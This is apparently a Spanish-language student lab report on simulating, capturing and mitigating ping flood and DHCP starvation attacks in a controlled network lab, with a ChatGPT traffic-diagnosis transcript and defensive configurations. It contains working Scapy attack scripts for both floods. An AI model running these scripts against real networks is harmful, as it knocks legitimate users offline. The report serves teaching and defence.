Simulación, Diagnóstico y Prevención de Ataques

Authors

Camila Guzmán

Damián Luna

Juan Pablo de la Peña

Gonzalo Higuera

Alfredo Lopez

Abstract

Fase 1: Diseño del escenario y explicación del ataque

Simulación Topológica

En un caso real se espera que el analista no use la computadora de la víctima para realizar el análisis en la red. Lo ideal es emplear un dispositivo externo conectado a un puerto configurado en modo port mirroring o a través de un equipo de monitoreo dedicado. Sin embargo, al terminar esta fase, se descubrió que, dada la configuración del switch en el laboratorio de pruebas, el análisis solamente podrá ser realizado desde el ordenador de la víctima -lo que implica que únicamente se podrá observar el tráfico que entra o sale de dicha máquina y no las interacciones entre los demás equipos de la red-.

Conceptos y Ataques a implementar

Antes de realizar la simulación, es crucial la etapa de investigación junto con familiarización con los términos y metodologías utilizadas durante la práctica.

Conceptos

ICMP: Internet Control Message Protocol. Es un protocolo de la capa de red (dentro del conjunto de protocolos TCP/IP) que se utiliza principalmente para enviar mensajes de error y de diagnóstico en las comunicaciones de red. En el contexto de ataques, el ICMP es relevante porque existen ataques de denegación de servicio (DoS) que lo explotan, como el ICMP Flood.

DoS y DDoS: Un DoS (Denial of Service) es un tipo de ataque en el que un “actor” malicioso intenta deshabilitar una computadora o red interrumpiendo el funcionamiento normal del dispositivo al sobrecargarlo de tráfico. Un DDoS (Distributed Denial of Service) es casi lo mismo, solo que éste opera mediante múltiples sistemas informáticos para generar su ataque.

ARP: Address Resolution Protocol; es un protocolo de red que se utiliza en redes IPv4 para enlazar una IP (lógica) con una MAC (física) dentro de una LAN.

ARP Messages: Paquetes que envía el protocolo ARP dentro de la LAN para realizar la traducción IP ↔︎ MAC. Hay dos tipos principales:

ARP Request.
ARP Reply.

Ataques

ICMP Flood: También conocido com inundación de ping, es un ataque de Denegación de Servicio (DoS) o Denegación de Servicio Distribuida (DDoS) que aprovecha el ICMP, normalmente mediante paquetes de tipo “echo request” (los usados en ping). Su funcionamiento puede resumirse en 4 pasos:

El atacante envía una gran cantidad de solicitudes ICMP (ping) a la víctima.
Cada solicitud requiere ser procesada, ya que el paquete tiene que responder con un “echo reply”.
Si el volumen de solicitudes es demasiado alto, los recursos de la víctima (GPU, memoria, etc) se saturan.
Finalmente, la máquina o red atacada se puede volver inaccesible.

ARP Spoofing: ARP Spoofing o ARP cache poisoning es un ataque de red en el cual un atacante envía mensajes ARP falsos en una red local con el objetivo de asociar su MAC address con la IP address de otro dispositivo, para así poder recolectar el tráfico destinado a esta IP. Funciona de la siguiente manera:

El atacante envía respuestas ARP no solicitadas imitando ser otro nodo.
Los dispositivos en la red actualizan sus cachés ARP con esta información.
El atacante puede acceder al tráfico de ésta IP que está “impersonando”.

DHCP Starvation: Este ataque es del tipo de negación de servicio (DoS), su objetivo es dejar sin direcciones IP disponibles a un servidor DHCP. Así funciona:

El atacante envía un paquete DHCP Discover como si fuera un cliente normal, pero lo hace con direcciones MAC falsas en cada petición.
El servidor responde ofreciendo una dirección IP disponible en su pool.
El atacante confirma y acepta de la IP ofrecida con un DHCP Request. Cómo usa una MAC diferente cada vez, el servidor piensa que es un dispositivo nuevo.
El servidor registra esa IP como si fuera asignada a un cliente real. Se repiten los pasos anteriores cientos o miles de veces con MAC falsas cada vez.
Como resultado si un cliente real quiere acceder a la red, se le niega porque ya no quedan direcciones IP disponibles y así niega el servicio completamente.

Primer Acercamiento

Se realizó en un laboratorio la topología mostrada. Se siguieron las siguientes líneas de código en la terminal de la consola ligada al router para la configuración:

enable
configure terminal
interface GigabitEthernet 0/0
ip address 10.0.0.1 255.255.255.0
no shutdown
exit
ip dhcp excluded-address 10.0.0.1 10.0.0.10
ip dhcp pool JUAN
 network 10.0.0.0 255.255.255.0
 default-router 10.0.0.1

Después de que se asignaron las IPs a las computadoras y se creó el grupo DHCP, se realizaron pings infinitos para documentarlos en la herramienta WireShark.

(Ejemplo de comando en terminal Adjunto)

ping 10.0.0.4 -t

Lo que se observó en la plataforma al realizar los pings es que un ordenador no puede abrir paquetes con destinatarios ajenos. Se sospechó que esto podría deberse a los permisos configurados en el Switch del Laboratorio.

Características del Ambiente Construido

Con fines de replicabilidad, se nombran a continuación las características de la práctica de laboratorio.

Sistema Operativo Windows.

Herramientas necesarias

Wireshark
hping3 o nping (Nmap) para ICMP Flood.
Ettercap, arpspoof (dsniff) o Bettercap para ARP Spoofing.
Yersinia o dhcpstarv para DHCP Starvation.

Permisos requeridos

Acceso de administrador de sistema.
Permisos para habilitar el modo promiscuo.
Permisos para ejecución de herramientas de red.
Acceso a la red de prueba sin firewall activado.

Fase 2: Simulación del ataque y captura del tráfico

Introducción

El propósito de esta segunda práctica es lograr una implementación de ataques virtuales mediante un entorno controlado: un laboratorio de redes. Los dos causantes de DoS seleccionados a implementar fueron el DHCP Starvation, el cual envía numerosas solicitudes DHCP falsas con direcciones MAC distintas para agotar el rango de direcciones IP disponibles - impidiendo que dispositivos legítimos obtengan configuración de red- y Ping Flood , este envía un gran volumen de paquetes ICMP Echo Request para saturar el ancho de banda o recursos del sistema objetivo. Como se mencionó anteriormente, esto se realizó en un ambiente controlado y fue evidenciado mediante la herramienta WireShark manteniendo un registro del tráfico de paquetes.

Creación del Entorno de Trabajo

Primeramente, se creó la topología de trabajo nuevamente, donde se incluyó la consola al router con función de la víctima, y una segunda computadora que funcionó como atacante y analista. Se configuró un grupo dhcp con el rango de IPs de 192.168.10.0 255.255.255.0 del cual se excluyeron las primeras 10. Luego, desde la computadora del atacante se abrió WireShark y se realizaron pruebas de pings infinitos para asegurar comunicación entre las computadoras.

PING FLOOD

Para poder llevar a cabo este ataque, se creó un archivo python. Se hizo uso de la librería Scapy, la cual simplificó el flujo del código. En la función especificada para construir el ataque, se incluye la dirección IP víctima, el número de paquetes a enviar y el tamaño de cada paquete. Para implementar el código, se direccionó hacia la ip 192.168.10.21 (el router) con un total de 1,000 paquetes y un peso de 65,000 bytes (el máximo dentro de paquetes ICMP).

from scapy.layers.inet import IP, ICMP
from scapy.packet import Raw
from scapy.sendrecv import send

def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 400):
    ip = IP(dst=target_ip_address)
    icmp = ICMP()
    raw = Raw(b"X" * size_of_packet)
    p = ip / icmp / raw
    send(p, count=number_of_packets_to_send, verbose=0)
    print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address)


ip = "192.168.10.11"
send_ping(ip, number_of_packets_to_send=10000)

Código utilizado para Ping Flood¹

El script fue ejecutado desde la terminal del atacante. Con fines de ratificación, se intentó hacer ping desde la computadora del cliente al router, donde en ocasiones, el tiempo de respuesta disminuía. En Wireshark esto se contempla como un conjunto masivo de observaciones donde se reporta el protocolo ICMP hacia 192.168.10.21 y sus Echos correspondientes.

DHCP Starvation

En la segunda situación, se utilizó igualmente scapy. En el código se definieron funciones para crear las direcciones MAC falsas, para buscar una interfaz cuya IP empiece con el prefijo indicado y entregar el nombre de la interfaz junto buscar dicha interfaz. Finalmente, en la implementación se hace uso de esta información para hacer una solicitud de asignación de una IP junto con la cantidad de IPs a solicitar especificada por el usuario. Esta se ejecutó desde la terminal del atacante siendo “Ethernet” la interfaz identificada.

# dhcpStarvation_helper.py
from scapy.all import (
    Ether, IP, UDP, BOOTP, DHCP,
    RandMAC, sendp, get_if_list, get_if_addr
)
import sys

# Construye el DHCP Discover (ajusta si ya tienes otra versión)
dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff', src=RandMAC()) / \
    IP(src='0.0.0.0', dst='192.168.10.255') / \
    UDP(sport=68, dport=67) / \
    BOOTP(op=1, chaddr=RandMAC()) / \
    DHCP(options=[('message-type','discover'), ('end')])

def find_iface_by_subnet(prefix="192.168.10."):
    """
    Busca una interfaz cuya IP empiece con prefix.
    Devuelve el nombre de la interfaz o None.
    """
    for iface in get_if_list():
        try:
            ip = get_if_addr(iface)
            if ip and ip.startswith(prefix):
                return iface
        except Exception:
            # algunas interfaces no tienen IP o generan excepción
            pass
    return None

def choose_interface(preferred_prefix="192.168.10."):
    # 1) si el usuario pasa el nombre por argumento de línea de comandos, usarlo
    if len(sys.argv) > 1:
        return sys.argv[1]

    # 2) buscar por prefijo de subred (útil en el aula)
    iface = find_iface_by_subnet(preferred_prefix)
    if iface:
        return iface

    # 3) heurística: elegir primera interfaz "Ethernet" o "Wi-Fi" si aparece
    ifaces = get_if_list()
    for name in ifaces:
        if "Ethernet" in name or "eth" in name.lower():
            return name
    for name in ifaces:
        if "Wi-Fi" in name or "wlan" in name.lower() or "wifi" in name.lower():
            return name

    # 4) fallback: la primera que no sea loopback
    for name in ifaces:
        if "loop" not in name.lower():
            return name

    # 5) si no hay nada, devolver None
    return None

def main():
    print("Interfaces detectadas por Scapy:", get_if_list())

    iface = choose_interface()
    if iface is None:
        print("ERROR: No se pudo detectar una interfaz válida.")
        print("Prueba a ejecutar: python dhcpStarvation_helper.py \"Ethernet\"")
        return

    print("Interfaz elegida:", iface)
    print("Haciendo envío de prueba (count=1). Si esto falla, revisa Npcap y permisos.")

    try:
        # prueba segura: solo un paquete
        sendp(dhcp_discover, iface=iface, count=10000000, verbose=1)
        print("Envío realizado. Si ves tráfico en Wireshark/PCAP, ya funciona.")
    except Exception as e:
        print("Error al enviar paquetes con Scapy:")
        print(str(e))
        print("\nPosibles causas:")
        print("- No estás ejecutando como administrador.")
        print("- No tienes Npcap instalado (o no en modo 'WinPcap API-compatible').")
        print("- El adaptador físico está desconectado o en otra VLAN.")
        print("- El nombre de interfaz detectado no es correcto para tu sistema.")
        print("\nSolución rápida: ejecuta el script desde PowerShell/CMD como administrador o")
        print("pasa el nombre de la interfaz manualmente: python dhcpStarvation_helper.py \"Ethernet\"")

if __name__ == "__main__":
    main()

Código utilizado para DHCP Starvation²

#!/usr/bin/env python3
#DHCP Starvation:
#Import Scapy
from scapy.all import *

#conf.checkIPaddr needs to be set to False. 
#When conf.checkIpaddr the reponse IP isn't checked
#against sending IP address. Don't need to match.   
conf.checkIPaddr = False

#Create DHCP discover with destination IP = broadadcast
#Source MAC address is a random MAC address
#Source IP address = 0.0.0.0
#Destination IP address = broadcast
#Source port = 68 (DHCP / BOOTP Client)
#Destination port = 67 (DHCP / BOOTP Server)
#DHCP message type is discover
dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff',src=RandMAC())  \
                     /IP(src='0.0.0.0',dst='255.255.255.255') \
                     /UDP(sport=68,dport=67) \
                     /BOOTP(op=1,chaddr = RandMAC()) \
                     /DHCP(options=[('message-type','discover'),('end')])

#Send packet out of eth0 and loop the packet
sendp(dhcp_discover,iface='eth0',loop=1,verbose=1)

#Credits:
#https://scapy.readthedocs.io/_/downloads/en/latest/pdf/
#https://www.programcreek.com/

Segunda opción de Código utilizado para DHCP Starvation³

En WireShark, esto es representado en múltiples solicitudes DHCP. Para verificar que fue exitoso el ataque, en la consola se buscaron los estadísticos del servidor DHCP, donde se verificó que 245 fueron asignados (recordemos que las primeras 10 direcciones fueron omitidas).

Conclusiones

La práctica confirmó que, en un entorno controlado, tanto el DHCP Starvation como el Ping Flood son capaces de degradar y/o interrumpir el servicio de red: el primero acaparó las direcciones disponibles del servidor DHCP (245 leases asignados en la prueba) y el segundo creó congestión perceptible en la conectividad ICMP hacia el router. Las evidencias captadas con Wireshark reafirman la efectividad de los ataques implementados en Python usando Scapy y la importancia de la monitorización para detectar este tipo de anomalías. Como lecciones prácticas, estos ataques muestran la necesidad de controles de seguridad a nivel de capa 2/3 en redes LAN: habilitar DHCP Snooping, port security (limitación de MACs por puerto), rate limiting de ICMP, reglas de ACL y sistemas de detección de intrusos para mitigar y alertar sobre patrones anómalos.

Fase 3: Análisis de datos con Python

Ahora, el objetivo es poder identificar los ataques realizados desde el puesto de un analista de tráfico, el cual desconoce su realización. Para esto, se convirtió el archivo pcapng de la ventana de tiempo de la simulación a un csv y se abrió con Python para poder analizar y hacer visualizaciones del comportamiento de paquetes junto con sus anomalías detectadas.

Resultados

Time Series of Package traffic (All packets)

Time Series of ICMP and DHCP Package traffic

Fase 4: Diagnóstico con ChatGPT y mitigación

Objetivo

El objetivo de esta actividad es consultar a Chat-GPT con los datos recolectados de la actividad “Simulación del ataque y captura de tráfico” en un archivo .pcapng, elaborar un diagnóstico final y proponer soluciones y mitigaciones técnicas frente a las anomalías identificadas.

Transcripción de la conversación con Chat-GPT

Prompt: Hola, chat. Eres un analista de tráfico de datos (ciberseguridad) y te llegó este archivo .pcapng. Tu objetivo es analizar y mencionar las anomalías que puedas encontrar. Pesa más de 700 megas el archivo, así que estará en ZIP.

Chat-GPT: Perfecto, ya lo estuve “destripando” 😊. Te resumo lo que encontré como si fuera un informe de analista de tráfico:

Panorama general del tráfico En el .pcapng hay: ~824,397 paquetes en total ~822k IPv4, ~1.2k IPv6, y ~1k no-IP Proporción por protocolo de capa 3: ICMP: ~62.5% (515k paquetes) → muchísimo UDP: ~37.2% (306k paquetes) TCP: casi inexistente: 270 paquetes (~0.03%) Top hosts internos: 192.168.10.13 – host más activo (principal origen) 192.168.10.1 – muy probablemente el gateway/router 192.168.10.12 – segundo host interno importante 192.168.10.11 – aparece casi sólo en TFTP También aparecen direcciones raras como 192.168.10.0 y destino 255.255.255.0 usadas como si fueran hosts. Destinos externos relevantes: 8.8.8.8 (Google DNS) 1.1.1.1 (Cloudflare DNS) 23.64.121.49 (IP de un servidor HTTP, muy probablemente Akamai / CDN)
Anomalía #1 – Tráfico ICMP brutal entre pocos hosts Hay más de 515,000 paquetes ICMP distribuidos en solo 4 flujos: 192.168.10.13 ↔︎ 192.168.10.1 192.168.10.13 ↔︎ 192.168.10.12 Tipos ICMP observados: Type 8, code 0 – Echo Request (pings) Type 0, code 0 – Echo Reply Type 3, code 1 – Destination Unreachable (host unreachable) Type 3, code 2 – Destination Unreachable (protocol unreachable) Lo raro: Para un entorno normal, no es nada común tener >500k ICMP en una captura así. Hay flujos ICMP muy simétricos, con >120k paquetes por flujo (parece ping flood o prueba de estrés). Presencia continua de Destination Unreachable indica que se está intentando llegar a algo que no responde o a un servicio cerrado. 👉 Interpretación: Esto huele a ataque o prueba de ICMP flood / host discovery masivo entre 192.168.10.13, 192.168.10.1 y 192.168.10.12. No parece tráfico “normal de usuario” (tipo un par de pings).
Anomalía #2 – Tormenta de DHCP (UDP 67) con direcciones “raras” Puertos destino más usados (UDP/TCP): 67/UDP (DHCP server): ~304,315 paquetes 53/UDP (DNS): 1,280 16990/UDP: 875 80/TCP: 150 69/UDP (TFTP): 22 137/UDP, 138/UDP, 5355/UDP: unos cuantos (NetBIOS/LLMNR) Al revisar UDP hacia/desde puerto 67: Tráfico repetido del tipo: 192.168.10.0:68 → 192.168.10.255:67 Lo raro: Un cliente DHCP típico usa: 0.0.0.0:68 → 255.255.255.255:67 Aquí se usa 192.168.10.0 como origen (que normalmente es la dirección de red, no un host) y 192.168.10.255 como broadcast. El volumen es enorme: más de 300k paquetes DHCP. 👉 Interpretación: Esto es altamente sospechoso de DHCP starvation / DHCP flood o de una herramienta que genera tráfico DHCP malformado o spoofeado. El uso de 192.168.10.0 como host refuerza la idea de spoofing o de un escenario de laboratorio para ataques.
Anomalía #3 – Tráfico UDP en puerto 16990 (posible canal “raro”) Se ve un flujo significativo en UDP/16990: Flujos más importantes (contados específicamente): 192.168.10.13:16990 → 192.168.10.12:16990 : 436 paquetes 192.168.10.12:16990 → 192.168.10.13:16990 : 436 paquetes 192.168.10.12:16990 → 239.255.255.250:16990 : 3 paquetes Lo raro: El puerto 16990 no es estándar (no HTTP, no DNS, no algo típico). El tráfico es bidireccional y bastante intenso entre 10.13 y 10.12. Además, hay paquetes hacia el multicast 239.255.255.250 pero con puerto 16990 (SSDP suele usar 1900/UDP, no 16990). 👉 Interpretación: Parece un servicio propietario o un canal “oculto” entre dos hosts, potencialmente: Algún tipo de backdoor, C2 interno, o Una aplicación de laboratorio simulando un túnel UDP / transferencia de archivos. En un entorno real, 16990 sería algo para investigar urgente: qué proceso lo usa en ambos hosts, qué binarios están asociados, etc.
Anomalía #4 – Tráfico TFTP broadcast (UDP 69) desde un host aislado En puerto 69/UDP: 22 paquetes en total. Flujos observados: 192.168.10.11:56150 → 255.255.255.255:69 (6 pkts) 192.168.10.11:50853 → 255.255.255.255:69 (6 pkts) 192.168.10.11:65313 → 255.255.255.255:69 (6 pkts) 192.168.10.11:60419 → 255.255.255.255:69 (4 pkts) Lo raro: TFTP (69/UDP) es un protocolo sin autenticación y muy sencillo, usado a veces para boot PXE/firmware. Que un host (192.168.10.11) haga múltiples intentos de TFTP a broadcast con diferentes puertos de origen puede indicar: Intentos de descubrimiento de servidores TFTP. O un intento de subir/bajar archivos sin control, típico vector de ataque en redes mal segmentadas. 👉 Interpretación: No es tan masivo como ICMP/DHCP, pero sí es un punto rojo: TFTP+Broadcast merece revisión en logs y en ese host (10.11).
Anomalía #5 – TCP “fantasma”: sólo SYNs, sin handshakes completos En todo el archivo sólo hay 270 paquetes TCP, y TODOS son: Flags = SYN (0x02), sin ACK, sin FIN, sin RST significativos. Muestras: 192.168.10.13:53586 → 23.64.121.49:80 SYN 192.168.10.13:53587 → 23.64.121.49:80 SYN 192.168.10.13:56802 → 8.8.8.8:53 SYN 192.168.10.13:64240 → 1.1.1.1:53 SYN Y patrones similares, repetidos, siempre con bandera SYN. Lo raro: No se observan SYN-ACK de vuelta, ni ACK que completen la conexión. Es decir, hay intentos de conexión, pero ninguna sesión TCP se establece de forma completa dentro de la captura. 👉 Interpretación: Esto es muy compatible con un SYN flood o una prueba de escaneo semi-abierto (SYN scan): Se mandan muchos SYN a puertos de interés (80, 53, etc.) pero no se sigue el 3-way handshake. El hecho de que los destinos sean 23.64.121.49:80 y DNS públicos (8.8.8.8 / 1.1.1.1) en TCP refuerza el patrón de prueba/ataque, más que de tráfico de usuario.
Anomalía #6 – Uso de direcciones “imposibles” como si fueran hosts En las estadísticas de IPs se observan: Como origen: 192.168.10.0 Como destino: 255.255.255.0 Ambas son direcciones que normalmente se asocian a: 192.168.10.0 → dirección de red de un segmento /24 255.255.255.0 → máscara de subred, no un host Verlas usadas en cabeceras IP como si fueran hosts es: O misconfiguración grave, o Spoofing intencional (muy probable si es captura de laboratorio de ataques), por ejemplo en la tormenta de DHCP. 👉 Interpretación: Es otro indicador de que el tráfico no es “limpio” ni normal, sino que hay generación deliberada de paquetes con direcciones falsificadas.
Cosas “ruidosas” pero menos críticas También aparecen, en menor volumen: Tráfico DNS legítimo/esperable: 192.168.10.13 → 8.8.8.8:53 (UDP y algo de SYN a TCP 53) 192.168.10.13 → 1.1.1.1:53 Tráfico multicast de servicios: 224.0.0.252, 239.255.255.250 (LLMNR, SSDP/UPnP) 224.0.0.22 (IGMP) Unas 1,254 tramas IPv6 (probablemente RA/ND o similar) sin un patrón de ataque tan claro como lo anterior. De momento no se ven tan críticos comparados con: El flood ICMP La tormenta DHCP anómala El UDP raro en 16990 El TFTP broadcast El TCP sólo-SYN
Resumen ejecutivo (por si lo quieres como conclusión de informe) En este .pcapng se observan múltiples comportamientos anómalos altamente sugerentes de un escenario de laboratorio con ataques: ICMP flood / scanning masivo entre 192.168.10.13, 192.168.10.1 y 192.168.10.12 (más de 500k paquetes ICMP). Tormenta DHCP con direcciones de origen/destino no estándar (192.168.10.0 → 192.168.10.255, >300k paquetes), compatible con DHCP starvation o flood. Canal UDP no estándar en el puerto 16990 entre 192.168.10.13 y 192.168.10.12, además de algunos paquetes a multicast, lo que sugiere un servicio propietario o potencial canal de C2 / backdoor. Tráfico TFTP broadcast (UDP 69) desde 192.168.10.11 hacia 255.255.255.255 usando múltiples puertos de origen, lo cual es sospechoso por la falta de autenticación de TFTP. Tráfico TCP limitado exclusivamente a SYNs, sin handshakes completos, dirigido a 23.64.121.49:80 y a DNS públicos por TCP (8.8.8.8, 1.1.1.1), consistente con SYN flood o SYN scan. Uso de direcciones IP reservadas (dirección de red y máscara) como si fueran hosts, lo que apunta a spoofing o malas configuraciones deliberadas.

Diagnóstico final Con base en nuestra revisión del tráfico capturado y en la interpretación de Chat-GPT, se identificaron los siguientes elementos: 1.- ICMP Flood/Ping Flood: Chat-GPT fue capaz de reconocer más de 515,000 paquetes ICMP entre pocos hosts. Su interpretación hace hincapié en la existencia de un tráfico anormalmente elevado, y cito, “orientado a saturar la red o realizar reconocimiento agresivo”.

2.- DHCP Starvation: En este caso, Chat-GPT encontró más de 300,000 solicitudes DHCP con direcciones inválidas (192.168.10.0, por ejemplo). La interpretación se centra en el intento de consumir todas las direcciones del servidor DHCP para impedir que clientes legítimos reciban red.

También, Chat-GPT hizo varios descubrimientos que nosotros no notamos (o no buscamos) cuando hicimos nuestro análisis. Adjuntamos la transcripción de Chat-GPT sobre sus descubrimientos adicionales.

SYN Scan / SYN Flood: Evidencia: 270 paquetes TCP con flag SYN, sin SYN-ACK ni ACK. Interpretación: escaneo semiabierto o ataque de negación de servicio.
Spoofing de direcciones IP: Evidencia: direcciones imposibles usando cabeceras IP válidas. Interpretación: ocultamiento deliberado del origen del tráfico.
TFTP Broadcast Anómalo: Evidencia: host 192.168.10.11 enviando requests TFTP a broadcast. Interpretación: búsqueda de servidores TFTP o inicios de transferencia no autorizada.
Canal UDP sospechoso (16990): Evidencia: flujo intenso entre 192.168.10.12 y 192.168.10.13. Interpretación: posible túnel, canal C2, o aplicación no autorizada.

Síntomas observados: Saturación de tráfico ICMP Pérdida de disponibilidad en DHCP Intentos de conexión TCP incompletos Tráfico interno no autorizado Tramas con direcciones falsificadas TFTP sin control y hacia broadcast Congestión generalizada por tráfico repetitivo Impacto potencial Disponibilidad: Caída del servidor DHCP → usuarios sin conectividad Saturación de red por ICMP → latencia elevada Agotamiento de recursos del gateway Seguridad: Apertura de canal encubierto C2 Exfiltración de datos vía TFTP Ocultamiento del origen real del tráfico (spoofing) Exploración de puertos (SYN scan) Operaciones: Interrupción del trabajo de usuarios Inestabilidad en servicios críticos Potencial escalación a explotación de vulnerabilidades

Propuesta de mitigación

Propuesta del equipo

Después de analizar el tráfico capturado, notamos que la mayor parte del problema viene de una cantidad excesiva de paquetes ICMP, especialmente de pings (Echo Request). Esto puede saturar la red, causar lentitud y afectar a otros dispositivos. Por eso proponemos las siguientes acciones para mitigar este tipo de ataque: 1. Limitar la cantidad de pings permitidos por segundo Configurar en el router o firewall un límite de cuántas solicitudes ICMP puede recibir el equipo por segundo. Con esto, aunque un atacante mande miles de pings, el router simplemente los va a ignorar. 2. Bloquear pings provenientes de direcciones sospechosas En la captura vimos direcciones que no deberían existir (como 192.168.10.0). Se pueden bloquear manualmente para evitar que envíen más paquetes ICMP. 3. Reducir el uso de ICMP dentro de la red Si no es estrictamente necesario, se puede restringir el ping entre todos los equipos para reducir la superficie de ataque. Por ejemplo: permitir pings solo al gateway para diagnóstico y bloquear el resto. 4. Monitorear el equipo que más paquetes ICMP envió El host 192.168.10.13 fue el más activo. Se recomienda revisarlo, porque puede estar infectado o mal configurado. 5. Crear alertas si el volumen de ICMP sube más de lo normal Configurar herramientas de monitoreo básico (como PRTG, Zabbix o incluso el dashboard del router) para que avise si de nuevo se detecta una cantidad alta de ICMP. En resumen: Limitar ICMP, bloquear direcciones raras, monitorear el equipo más activo y activar alertas para evitar que un ping flood vuelva a saturar la red.

Chat-GPT:

Mitigación contra ICMP Flood (Ping Flood) 1.1. Implementar rate limiting en dispositivos perimetrales Configurar límites para las solicitudes ICMP de tipo echo-request. Esto reduce la saturación del plano de control. Ejemplo de regla para limitar a 10 paquetes por segundo: iptables -A INPUT -p icmp –icmp-type echo-request -m limit –limit 10/second -j ACCEPT iptables -A INPUT -p icmp –icmp-type echo-request -j DROP 1.2. Filtrado de direcciones malformadas Bloquear paquetes ICMP provenientes de direcciones que no deberían usarse como origen, como 192.168.10.0 o 255.255.255.0. 1.3. Control Plane Policing (CoPP) Configurar políticas en el router para limitar la cantidad de ICMP que llega al CPU.
Mitigación contra DHCP Starvation / DHCP Flood 2.1. Habilitar DHCP Snooping Evita que puertos no autorizados generen solicitudes DHCP masivas. Configuración recomendada: ip dhcp snooping ip dhcp snooping vlan 10 interface GigabitEthernet0/1 ip dhcp snooping limit rate 10 2.2. Implementar Port Security Limitar la cantidad de direcciones MAC permitidas por puerto para impedir creación de cientos de clientes falsos. switchport port-security switchport port-security maximum 2 switchport port-security violation restrict
Mitigación contra SYN Scan y SYN Flood 3.1. Activar SYN Cookies Esta función impide que los recursos del servidor se agoten durante ataques de inundación. sysctl -w net.ipv4.tcp_syncookies=1 3.2. Configurar rate limiting para paquetes SYN Limita la cantidad de solicitudes de conexión TCP sin completar handshake. iptables -A INPUT -p tcp –syn -m limit –limit 5/sec -j ACCEPT iptables -A INPUT -p tcp –syn -j DROP
Mitigación contra Spoofing de IP 4.1. Activar Reverse Path Filtering Permite detectar y descartar paquetes con direcciones de origen falsificadas. sysctl -w net.ipv4.conf.all.rp_filter=1 4.2. Aplicar Unicast Reverse Path Forwarding (uRPF) Se recomienda habilitar uRPF en modo estricto para evitar spoofing en redes internas. ip verify unicast source reachable-via rx
Mitigación contra TFTP broadcast no autorizado 5.1. Bloquear el puerto UDP/69 salvo excepciones explícitas Restringirlo en toda la red interna para evitar transferencia abierta de archivos. iptables -A INPUT -p udp –dport 69 -j DROP 5.2. Uso de ACLs Aplicar listas de control para bloquear solicitudes hacia broadcast donde no son necesarias. deny udp any any eq 69
Mitigación contra canales UDP no estándar (puerto 16990) 6.1. Bloquear el tráfico hacia el puerto 16990 Cerrar el puerto 16990 en el firewall perimetral y local si no existe una justificación documentada. iptables -A INPUT -p udp –dport 16990 -j DROP 6.2. Auditoría de procesos Revisar los hosts 192.168.10.12 y 192.168.10.13 para identificar procesos que estén usando ese puerto. netstat -tunlp | grep 16990 ps aux | grep udp
Mitigación continua (Monitoreo y endurecimiento) 7.1. Configurar un IDS/IPS Se recomienda utilizar Snort o Suricata con reglas específicas para detectar: Flood ICMP Solicitudes DHCP anómalas Escaneos SYN Spoofing Uso de puertos no estándar 7.2. Establecimiento de alertas Configurar alertas en herramientas de monitoreo como Zabbix, PRTG o Grafana. Los umbrales sugeridos incluyen: Aumento anormal en tráfico ICMP Incremento en solicitudes DHCP Elevación en paquetes TCP SYN Actividad inesperada en puertos UDP 7.3. Endurecimiento de sistemas Actualización continua de sistemas y firmware Deshabilitar servicios no utilizados (como TFTP) Monitoreo de integridad con herramientas como Wazuh o Tripwire

Footnotes

Código utilizado para Ping Flood↩︎
Código utilizado para DHCP Starvation↩︎
Segunda opción de código utilizado para DHCP Starvation↩︎

--- title: "Simulación, Diagnóstico y Prevención de Ataques" author: - Camila Guzmán - Damián Luna - Juan Pablo de la Peña - Gonzalo Higuera - Alfredo Lopez format: html: toc: true html-math-method: katex embed-resources: true self-contained-math: true df-print: kable code-link: false code-copy: true code-tools: true listings: true editor: visual --- # Abstract # Fase 1: Diseño del escenario y explicación del ataque ## Simulación Topológica ![Topology](../figures/topology.png) ![Configuration code](../figures/config_code.png) En un caso real se espera que el analista no use la computadora de la víctima para realizar el análisis en la red. Lo ideal es emplear un dispositivo externo conectado a un puerto configurado en modo *port mirroring* o a través de un equipo de monitoreo dedicado. Sin embargo, al terminar esta fase, se descubrió que, dada la configuración del switch en el laboratorio de pruebas, el análisis solamente podrá ser realizado desde el ordenador de la víctima -lo que implica que únicamente se podrá observar el tráfico que entra o sale de dicha máquina y no las interacciones entre los demás equipos de la red-. ## Conceptos y Ataques a implementar Antes de realizar la simulación, es crucial la etapa de investigación junto con familiarización con los términos y metodologías utilizadas durante la práctica. ### Conceptos **ICMP:** Internet Control Message Protocol. Es un protocolo de la capa de red (dentro del conjunto de protocolos TCP/IP) que se utiliza principalmente para enviar mensajes de error y de diagnóstico en las comunicaciones de red. En el contexto de ataques, el ICMP es relevante porque existen ataques de denegación de servicio (DoS) que lo explotan, como el ICMP Flood. **DoS y DDoS:** Un DoS (Denial of Service) es un tipo de ataque en el que un “actor” malicioso intenta deshabilitar una computadora o red interrumpiendo el funcionamiento normal del dispositivo al sobrecargarlo de tráfico. Un DDoS (Distributed Denial of Service) es casi lo mismo, solo que éste opera mediante múltiples sistemas informáticos para generar su ataque. **ARP:** Address Resolution Protocol; es un protocolo de red que se utiliza en redes IPv4 para enlazar una IP (lógica) con una MAC (física) dentro de una LAN. **ARP Messages:** Paquetes que envía el protocolo ARP dentro de la LAN para realizar la traducción IP ↔ MAC. Hay dos tipos principales: 1. ARP Request. 2. ARP Reply. ### Ataques **ICMP Flood:** También conocido com inundación de ping, es un ataque de Denegación de Servicio (DoS) o Denegación de Servicio Distribuida (DDoS) que aprovecha el ICMP, normalmente mediante paquetes de tipo “echo request” (los usados en ping). Su funcionamiento puede resumirse en 4 pasos: 1. El atacante envía una gran cantidad de solicitudes ICMP (ping) a la víctima. 2. Cada solicitud requiere ser procesada, ya que el paquete tiene que responder con un “echo reply”. 3. Si el volumen de solicitudes es demasiado alto, los recursos de la víctima (GPU, memoria, etc) se saturan. 4. Finalmente, la máquina o red atacada se puede volver inaccesible. **ARP Spoofing:** ARP Spoofing o ARP cache poisoning es un ataque de red en el cual un atacante envía mensajes ARP falsos en una red local con el objetivo de asociar su MAC address con la IP address de otro dispositivo, para así poder recolectar el tráfico destinado a esta IP. Funciona de la siguiente manera: 1. El atacante envía respuestas ARP no solicitadas imitando ser otro nodo. 2. Los dispositivos en la red actualizan sus cachés ARP con esta información. 3. El atacante puede acceder al tráfico de ésta IP que está “impersonando”. **DHCP Starvation:** Este ataque es del tipo de negación de servicio (DoS), su objetivo es dejar sin direcciones IP disponibles a un servidor DHCP. Así funciona: 1. El atacante envía un paquete DHCP Discover como si fuera un cliente normal, pero lo hace con direcciones MAC falsas en cada petición. 2. El servidor responde ofreciendo una dirección IP disponible en 